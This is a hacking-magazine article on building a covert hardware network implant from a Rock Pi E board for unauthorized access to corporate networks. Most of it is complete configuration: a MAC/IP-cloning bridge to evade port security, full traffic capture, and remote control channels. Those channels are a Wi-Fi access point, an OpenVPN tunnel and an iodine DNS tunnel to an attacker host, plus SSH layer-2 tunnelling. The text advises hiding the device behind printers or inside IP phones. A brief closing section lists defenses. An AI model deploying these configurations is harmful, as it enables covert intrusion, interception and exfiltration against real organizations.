info
This article continues the series of publications describing practical hacking and attacking techniques involving makeshift devices that can be easily assembled at home. You will learn how to gain unauthorized access to protected information and how to protect your own data from such attacks. The previous article in this series was Evil modem. Establishing a foothold in the attacked system with a USB modem.
I suppose that you are aware that such devices as printers, IP phones, and even fully functional computers can often be found in public places. All of them have a common feature: they are usually connected to a local network via a twisted pair cable.
What if a potential malefactor connects to a publicly accessible network port a special hacking gadget that provides remote access to the local network from anywhere in the world? Furthermore, such a gadget will be connected without disabling the main device (i.e. inserted ‘in the middle’).
The device designed for this purpose is called Packet Squirrel. It can be easily assembled on the basis of the Rock Pi E single-board computer.
The board is ideally suited for this attack and doesn’t contain anything in excess: it’s equipped with two Ethernet ports, Wi-Fi, and USB. In addition, Rock Pi E has optional PoE support, which makes it possible to use this device without a USB power supply (USB sockets might be unavailable in the vicinity of a suitable connection point).
What you need is a software hub that copies each received packet from one Ethernet port to another one. This way, it enables you to penetrate into the network regardless of the connection point. Concurrently with packet forwarding from one port to another, the device can perform any actions, and the victim won’t notice nothing. The hub configuration must meet the following requirements:
- all traffic passing through the device is recorded;
- a VPN tunnel to the control server is forwarded through the network the device is connected to, thus, providing access to this network from any part of the world;
- using DNS exfiltration, another VPN tunnel is created – even if there is no direct access to the Internet;
- the device provides access to the network via the built-in Wi-Fi adapter; and
- the device can communicate via a plug-in 4G modem.
And of course, all these functions should be performed automatically immediately after the connection since the attacker won’t have time for manual configuring. An additional patch cord can be required to enable physical connection anywhere.
Implementation
It’s pretty easy to configure a single-board PC so that it can penetrate ‘in-the-middle’ of a physical connection. First you have to disable default components that can interfere with your objectives:
update-rc.d network-manager disable
update-rc.d dhcpcd disable
Now you have to configure the automatic aggregation of the eth0 and eth1 interfaces into a network bridge:
/etc/network/interfaces
iface eth0 inet manual
iface eth1 inet manual
auto br0
iface br0 inet dhcp
0 bridge_ports eth0 eth1
metric 2
This is the minimum configuration. Now the hardware backdoor can operate in transparent bridge mode. Everything that comes to one Ethernet port will be exactly copied to the other port and vice versa. But passive traffic forwarding through the device isn’t sufficient for your purposes. The device must somehow give you remote access. To achieve this, you have to apply the required configuration changes to the internal network. Depending on the situation, this can be done in different ways.
Dynamic network configuring
Automatic network configuring via DHCP is often used in corporate networks. After getting its own IP address, your device won’t be just a passive hub: concurrently with packet forwarding, it will be able to operate on the network by its own.
Since the hardware backdoor is connected for a long time, while networks can ‘migrate’ to other VLANs, the attacker should ensure that the hacking device can update its network settings any time. For this purpose, you have to set up a forced renewal of the IP address lease and regular requests to the DHCP server in case of failure:
/etc/dhcp/dhclient.conf
send dhcp-lease-time 60;
retry 60;
Static network configuring
Not all local networks include a DHCP server. This is especially true if the attacker has penetrated into the server or even technological network segment and planted a hardware backdoor there. In such a case, you can configure network settings on your device in advance:
/etc/network/interfaces
auto br0
iface br0 inet static
bridge_ports eth0 eth1
hwaddress ether 00:11:22:33:44:55
address 10.0.0.10
netmask 255.255.255.0
gateway 10.0.0.1
dns-nameservers 10.0.0.2
dns-search corp.local
metric 2
Port Security
In corporate networks, a pretty simple but effective protective mechanism is often applied to active network equipment: access to the network socket is allowed only from a certain MAC address. In such a case, the legitimate traffic from the victim will pass without any problems (because the bridge transparently forwards packets containing the original MAC address). But you won’t get access to the network directly from your Packet Squirrel since it uses an additional IP address.
However, the hardware backdoor is connected to the victim’s PC and therefore knows the trusted MAC address. Accordingly, if you manage to substitute in each packet outgoing from Packet Squirrel the source MAC address with the victim’s MAC address on one port and with the gateway MAC address on the other port, then your packets will become indistinguishable from legitimate ones.
It’s not that easy to implement such a seemingly simple concept since the device, aside from transparent traffic forwarding in both directions, should also generate traffic on behalf of the victim. This could be achieved, for instance, this way:
sudo ifconfig br0 hw ether "$victim_mac"sudo ifconfig br0 "$victim_ip/24"sudo route add -net default gw "$gw_ip"Now the device simply copies the MAC and IP addresses of the victim. Too bad, in this case, the Packet Squirrel kernel won’t be able to forward packets due to the conflict of identical MAC addresses. You have to somehow fool its kernel. For instance, instead of changing the device’s own MAC address, you can change the MAC addresses later, when the packets have already been generated and are about to leave the network card:
sudo ifconfig br0 "$victim_ip/24"sudo route add default gw "$gw_ip"#gw directionsudo ebtables -t nat -A POSTROUTING -o eth0 -s $(getmac -i br0) -j snat --to-src "$victim_mac" --snat-arpsudo ebtables -t nat -A PREROUTING -i eth0 -d "$victim_mac" -j dnat --to-dst $(getmac -i br0)#victim directionsudo ebtables -t nat -A POSTROUTING -o eth1 -s $(getmac -i br0) -j snat --to-src "$gw_mac" --snat-arpsudo ebtables -t nat -A PREROUTING -i eth1 -d "$gw_mac" -j dnat --to-dst $(getmac -i br0)With such a configuration, packets from one network port will contain the victim’s MAC address; while packets from the other port, the MAC address of the gateway. But the problem is that packets from the victim won’t pass through the device because the MAC address is forcibly changed on incoming packets as well.
Packet mirroring with a bridge is inconvenient in this case since one logical network interface (br0) is created for both Ethernet ports. The attacker should be able to send packets independently to each of the network interfaces – and concurrently transparently copy packets between interfaces. This can be achieved using traffic control:
sudo ifconfig eth0 0 promisc up
sudo ifconfig eth1 0 promisc up
sudo ifconfig eth0 "$victim_ip/24" # Operation on behalf of victim towards gw (LAN)#sudo ifconfig eth1 "$gw_ip/24" # The same, but towards the victimroute add -net default gw "$gw_ip"sudo tc qdisc add dev eth0 ingress
sudo tc filter add dev eth0 parent ffff: protocol all prio 2 u32 match u32 0 0 flowid 1:1 action mirred egress mirror dev eth1
sudo tc qdisc add dev eth1 ingress
sudo tc filter add dev eth1 parent ffff: protocol all prio 2 u32 match u32 0 0 flowid 1:1 action mirred egress mirror dev eth0
sudo iptables -A INPUT -i eth0 -p icmp -j DROP # Don't respond to incoming ICMP gw->victimsudo iptables -A OUTPUT -o eth0 -p tcp --tcp-flags SYN,ACK,RST,FIN RST -j DROP # Ignore ACK packets and don't send RST in response to them to avoid disrupting victim's connectionsWith such settings, the device can penetrate into a legitimate physical connection: it transparently mirrors traffic in both directions and concurrently sends packets on behalf of the victim.
This enables the attacker to bypass the Port Security protection and become completely invisible on the network.
Passive sniffing
Since your device can transparently forward traffic through itself, it’s not a big deal to organize its automatic recording:
/lib/systemd/system/tcpdump.service
[Unit]Description=tcpdump[Service]ExecStart=/usr/sbin/tcpdump -i br0 -nn -w /media/sd/dump.pcapRestart=alwaysRestartSec=60[Install]WantedBy=default.targetTraffic recording can be automatically launched at boot-up using the following service:
systemctl enable tcpdump.service
systemctl start tcpdump.service
Since the entire traffic is recorded, its dump file can be quite heavy. Therefore, it’s recommended to save it to a separate partition on the SD card:
/etc/fstab
/dev/mmcblk0p3 /media/sd ext3 defaults 0 0
Access over Wi-Fi
Since the device described in this article has built-in Wi-Fi, it can be used for remote access. To use this function, wireless network settings should be specified in the file:
/etc/network/interfaces
auto wlan0
iface wlan0 inet static
address 11.0.0.1
netmask 255.255.255.0
Wireless network settings for clients, in another file:
/etc/dnsmasq.conf
domain=packet_squirrel.localinterface=wlan0dhcp-range=11.0.0.10,11.0.0.20,24hdhcp-option=1,255.255.255.0dhcp-option=3,11.0.0.1The wireless network is configured as follows:
/etc/hostapd/hostapd.conf
interface=wlan0driver=nl80211ssid=packet squirrelhw_mode=gchannel=1macaddr_acl=0auth_algs=1ignore_broadcast_ssid=0wpa=3wpa_key_mgmt=WPA-PSKwpa_pairwise=CCMPwpa_passphrase=s3cr3tP@ssw0rdAutomatic start of all components required for Wi-Fi:
systemctl unmask hostapd.service
systemctl enable hostapd.service
systemctl start hostapd.service
Once the hardware backdoor has started, the attacker can gain access to the network by connecting to the device via Wi-Fi.
VPN access
The hardware backdoor can be configured to connect to some foothold server over VPN:
cp vds_config.ovpn /etc/openvpn/client/vds.conf
systemctl enable openvpn-client@vds
The configuration file in this case should be as follows:
client
proto tcp
dev tap
remote 1.2.3.4 1194
user nobody
<ca>
</ca>
<cert>
</cert>
<key>
</key>
route-noexec
cipher AES-128-CBC
keepalive 10 60
comp-lzo
persist-key
persist-tun
The device will try to contact the foothold server via the current or external 4G network (to be addressed a bit later).
Access via DNS tunnel
In some cases, there might be no direct access to the Internet from the local network, and the above-described method won’t work. However, it’s often permitted to resolve arbitrary external DNS zones. Therefore, a VPN channel can be implemented using regular DNS queries:
/lib/systemd/system/iodine.service
[Unit]Description=iodine[Service]ExecStart=/usr/sbin/iodine -f -r -m 500 -P s3cr3t dns.attacker.tkRestart=alwaysRestartSec=60[Install]WantedBy=default.targetThe following commands automatically launch the DNS tunnel:
systemctl enable iodine.service
systemctl start iodine.service
Even if the internal network has no direct access to the Internet, but arbitrary DNS names can be resolved, your device will create a VPN tunnel to the foothold server that can be used to gain reverse access to the network.
Access via 4G
The device is configured so that you can access the Internet via the anchor point using regular TCP or DNS tunnels. But if there is no access to the Internet from the local network, then you can create an independent 4G data transmission channel using the plugged-in external USB modem.
To implement such a channel, just a few more strings in the config file are required. You have to add automatic DHCP start for the network interface of your 4G modem. Modern HiLink modems are identified as simple Ethernet devices, which makes configuring pretty easy:
/etc/network/interfaces
...
allow-hotplug eth2
auto eth2
iface eth2 inet dhcp
metric 1
Thanks to the metric directive, the 4G interface route will have priority over the Ethernet network route, and your malicious device won’t lose Internet access in case of two default routes.
To summarize. In each situation, the Ethernet backdoor tries to establish connection through the dedicated foothold server and provides the attacker with remote access to the internal network:
- over VPN via the current network;
- over VPN using DNS exfiltration via the current network;
- over VPN via an external 4G channel; or
- via Wi-Fi.
Now the device is fully configured and ready-to-work in any situation.
Establishing foothold
So, the attacker locates an unattended computer and covertly connects the malicious device to it.
The computer shown above won’t lose access to the network and won’t even see the intermediate node. Rock Pi will transparently forward victim’s traffic and concurrently provide network access to the attacker towards both the victim’s PC and the local network.
A hardware backdoor can be connected anywhere: from an ordinary workstation or printer to the server room – whenever the potential attacker manages to get access. Its small size makes it possible to hide a hardware backdoor inside another device.
A hardware backdoor can even be planted inside an IP phone located in the meeting room. Such premises often remain vacant for some periods of time, which can be used by a potential malefactor.
The device configuration makes it suitable not only for the ‘in-the-middle’ model. It can be plugged into any free Ethernet port to maintain remote access.
Then the attacker can use all possible access channels (VPN, DNS, Wi-Fi, and 4G) to control the device remotely and gain access to the network from it.
To deliver further attacks, you don’t need to deploy all the hacker software on the device every time. The backdoor can act as a gateway and forward packets from the attacker to the network.
L3 access
Now it’s time to explain how such a device can be configured in the gateway mode to provide simple L3 access to the target network. This requires only two components.
The first component is packet transit. When this kernel option is enabled, network packets can be transmitted from one interface (VPN) to another one (Ethernet) in accordance the with routing scheme:
/etc/sysctl.conf
net.ipv4.ip_forward=1
The second component is SNAT that corrects the source IP address for packets transmitted from one network interface to another one (in this particular case, transmitted from VPN to Ethernet ports):
iptables -t nat -A POSTROUTING -o br0 -j MASQUERADE
iptables-save | sudo tee /etc/iptables.up.rules
/etc/network/if-pre-up.d/iptables
#!/bin/bash/sbin/iptables-restore < /etc/iptables.up.rules
This grants the attacker extremely easy and convenient access to the network where the backdoor is planted. All the attacker has to do is add a route going through Packet Squirrel.
route add -net 10.0.0.0/8 gw packet_squirrel
ping 10.10.10.10
The attacker’s phone that has no direct connection to the victim’s laptop is connected to the same VPN network as Packet Squirrel. The phone is used to set up a route where Packet Squirrel is used as a gateway, and the attacker gains direct network access to the internal network.
No doubt, this technique is extremely convenient for the attacker and can be used both to gain covert access and deliver further attacks. But in terms of attacks, L3 access (OSI network layer) doesn’t provide all the required functionality since the attacker isn’t on the internal network, but uses Packet Squirrel as a gateway. To penetrate directly into the network segment and implement the full spectrum of attacks targeting Ethernet networks, from ARP to NetBIOS spoofing, the attacker needs L2 access (OSI link layer).
L2 access
To gain fully functional L2 access to the network segment where the backdoor is planted, the attacker has to create an additional tunnel. The easiest way to do this is to use SSH:
/etc/ssh/sshd_config
PermitRootLogin yes
PermitTunnel ethernet
Since Ethernet interfaces on the device are already aggregated in the network bridge (br0), the attacker only has to add a new L2 interface from SSH to this bridge:
sudo ssh root@packet_squirrel -o Tunnel=ethernet -w any:any
packet_squirrel> brctl addif br0 tap1
packet_squirrel> ifconfig tap1 up
The network bridge will copy every network packet from the Ethernet interfaces to this virtual interface. A new L2 interface will also appear on the attacker’s remote side, and all packets available to Packet Squirrel will come to it. For the attacker, this interface will serve as an L2 portal to the internal network segment:
attacker> sudo ifconfig tap1 up
attacker> sudo dhclient tap1
Now the attacker has penetrated directly into the network segment with Packet Squirrel and can get an internal IP address from DHCP. Or, for better covertness, the attacker can use the victim’s IP address:
packet_squirrel> sudo ifconfig br0 0
attacker> sudo ifconfig tap1 $victim_ip/24
The miniature device hidden somewhere in the corporate network (behind one of the system units, or printers staying in the corridor, or within an IP phone in the meeting room, or even under a thick layer of wires in the server room) will covertly interact with internal network nodes on behalf of the victim (i.e. from its MAC and IP addresses). The attacker can use the internal IP address of a network segment on the local network while being somewhere far, far away…
In addition, such a device makes it possible to perform internal penetration tests remotely: the customer connects such a hardware backdoor to the network segment under investigation – and voila! No time- and labor-consuming efforts are required: you don’t have to request security permissions from the client, the pentesters don’t have to physically access various parts of the network and connect to it over VPNs, which is so inconvenient…
Protection
The Port Security function won’t allow the attacker to gain access to an unused network socket because a specific MAC address is required for this. If you also use 802.1X, then the attacker won’t have a chance to penetrate ‘in-the-middle’: when you connect your Packet Squirrel, the network is disconnected for a short time, and then you have to reauthenticate.
Another effective protection measure is physical control over Ethernet ports and devices connected to the corporate network.
